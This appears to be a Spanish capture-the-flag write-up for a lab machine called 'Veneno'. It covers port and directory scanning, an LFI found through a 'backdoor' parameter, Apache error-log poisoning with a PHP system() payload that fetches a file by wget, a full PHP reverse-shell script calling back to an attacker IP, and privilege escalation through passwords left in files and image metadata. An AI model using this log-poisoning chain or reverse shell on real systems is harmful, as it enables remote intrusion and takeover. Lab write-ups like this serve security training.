> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/veneno-write-up.md).

# Veneno write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/hMITMzlK2CaeFOagaiG8" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo para identificar los puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/GeF0qwVYUYxNiR1BAXRs" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:

<figure><img src="/files/qnj1zP7kn10IMOHWrBYm" alt=""><figcaption></figcaption></figure>

Como no vemos nada interesante, vamos a buscar rutas ocultas con la herramienta llamada `gobuster` ejecutando lo siguiente:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x txt,html,php,py,bak 
```

<figure><img src="/files/26Z2jl3UaWtkfVWU6ACu" alt=""><figcaption></figcaption></figure>

Esto nos indica la ruta `problems.php`, así que vamos a probar a encontrar un parámetro que nos permita ejecutar comando o explotar un LFI. Para ello utilizaremos `wfuzz` con el siguiente comando:

```bash
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 172.17.0.2/problems.php?FUZZ=/etc/passwd --hl 363
```

<figure><img src="/files/TMF1J3EerV4DhxRysPx7" alt=""><figcaption></figcaption></figure>

Esto nos indica que podemos ver el contenido del archivo `/etc/passwd` con el parámetro `backdoor`.

<figure><img src="/files/bIdJTr9PG6g2XBUf6QyT" alt=""><figcaption></figcaption></figure>

Esto nos indica la existencia del usuario `carlos`. Pero ahora lo que haremos será hacer fuzzing con **wfuzz** para ver que archivos podemos observar con el siguiente comando:

```bash
wfuzz -c -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt -u 172.17.0.2/problems.php?backdoor=FUZZ --hl 0
```

<figure><img src="/files/NyYyk9D0hi36X0fddikl" alt=""><figcaption></figcaption></figure>

Esto nos indica que podemos acceder al **error.log** de apache2. Así que vamos a hacer una petición errónea de la siguiente manera:

```bash
curl http://172.17.0.2/<codigo malicioso>.php
```

De esta manera guardará la petición el log en el error.log y luego podremos hacer que se ejecute el comando. El comando que ejecutaremos será el siguiente:

```bash
<?php system('cd uploads; wget 172.17.0.1; mv index.html shell.php'); ?>.php
```

Para que funcione tendremos que crear un archivo que contenga código PHP, que al ejecutarse nos envie una web shell. Después a ese archivo le pondremos de nombre `index.html` y abrimos un servidor con Python, para que el cuando el servidor ejecute `wget 172.17.0.1`, se descargue el archivo como `index.html`. Y ya después se cambia el nombre del archivo a `shell.php`. El código del archivo malicioso será el siguiente:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Lo nombramos como index.html y, a continuación, ejecutamos lo siguiente para levantar un servidor con Python:

```python
python3 -m http.server 80
```

Una vez hecho esto hacemos la siguiente petición (tiene que estar url encodeada para funcionar):

```bash
curl http://172.17.0.2/%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%63%64%20%75%70%6c%6f%61%64%73%3b%20%77%67%65%74%20%31%37%32%2e%31%37%2e%30%2e%31%3b%20%6d%76%20%69%6e%64%65%78%2e%68%74%6d%6c%20%73%68%65%6c%6c%2e%70%68%70%27%29%3b%20%3f%3e%2e%70%68%70
```

Y ahora solo debemos que ingresar la siguiente ruta en el navegador para que se ejecute el código que pusimos en la petición:

```url
http://172.17.0.2/problems.php?backdoor=/var/log/apache2/error.log
```

Y ahora su vamos al directorio `http://172.17.0.2/uploads/` nos encontraremos el archivo malicioso `shell.php`.

<figure><img src="/files/UFSgFzoj9vuxmzaft5Y2" alt=""><figcaption></figcaption></figure>

Ahora nos ponemos en escucha con **netcat** por el puerto 444 y hacemos clic en el archivo `shell.php`.

<figure><img src="/files/cpO2Tk1OPjOWiwNdGW41" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima nos encontramos la nota `/var/www/html/antiguo_y_fuerte.txt` la cual contiene lo siguiente:

<figure><img src="/files/pZFpHUaYj546NO3xNKjR" alt=""><figcaption></figcaption></figure>

Así que ejecutamos lo siguiente para encontrar archivo con extensión TXT:

```bash
/usr/share/viejuno/inhackeable_pass.txt
```

Este archivo nos indica que la contraseña del usuario `carlos` es `pinguinochocolatero`. Así que iniciamos sesión como el usuario carlos.

<figure><img src="/files/ijccVlJaokwprA7FR3yq" alt=""><figcaption></figcaption></figure>

Ahora sí vamos al directorio home de carlos encontramos lo siguiente:

<figure><img src="/files/roFozfGBgJbdqgDjUupM" alt=""><figcaption></figcaption></figure>

Así que vamos a realizar una búsqueda de ficheros con el siguiente comando:

```bash
find . -type f 2>/dev/null
```

<figure><img src="/files/mHWHZxknHEXu5vWvRcEd" alt=""><figcaption></figcaption></figure>

Encontramos el archivo `./carpeta55/.toor.jpg`. Por lo que, copiaremos el archivo a nuestra máquina host ejecutando el siguiente comando:

```bash
scp carlos@172.17.0.2:/home/carlos/carpeta55/.toor.jpg .
```

<figure><img src="/files/6N2dThOSTG2pAEVPW3fC" alt=""><figcaption></figcaption></figure>

Una vez tenemos la imagen descargada en nuestra máquina víctima ejecutamos lo siguiente para observar los metadatos de la imagen:

```bash
exiftool .toor.jpg
```

<figure><img src="/files/cNMyEWhchXAHygETzlFi" alt=""><figcaption></figcaption></figure>

Si nos fijamos en el valor del metadato de `Image Quality` observamos que es `pingui1730`, así que utilizamos `pingui1730` como contraseña de usuario `root`.

<figure><img src="/files/EuhBaWgCK0w4laEgTeZz" alt=""><figcaption></figcaption></figure>
